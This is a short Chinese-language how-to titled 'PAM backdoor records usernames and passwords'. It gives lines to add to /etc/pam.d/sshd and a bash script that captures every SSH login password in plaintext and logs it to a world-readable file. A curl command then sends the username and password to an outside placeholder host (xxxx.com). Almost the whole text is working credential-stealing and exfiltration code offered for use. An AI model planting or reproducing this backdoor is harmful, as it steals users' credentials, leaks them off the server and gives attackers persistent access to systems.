PAM 后门记录用户名和密码

在/etc/pam.d/sshd 中添加如下的数据

auth [default=ignore] pam_exec.so expose_authtok quiet /etc/security/suicide.sh
password [default=ignore] pam_exec.so expose_authtok quiet /etc/security/suicide.sh

脚本内容如下：

#!/usr/bin/env bash
recordfile=/etc/pamlog.conf
if [ ! -f $recordfile ];then
    touch $recordfile
    chmod 644 $recordfile
fi

PAM_PASSWORD=`cat -`
echo "Service: ${PAM_SERVICE}; User: ${PAM_USER}; Password: ${PAM_PASSWORD}; Type: ${PAM_TYPE}" >> $recordfile

##发送数据到云端

curl xxxx.com/get_usermain=${PAM_USER}&password=${PAM_PASSWORD}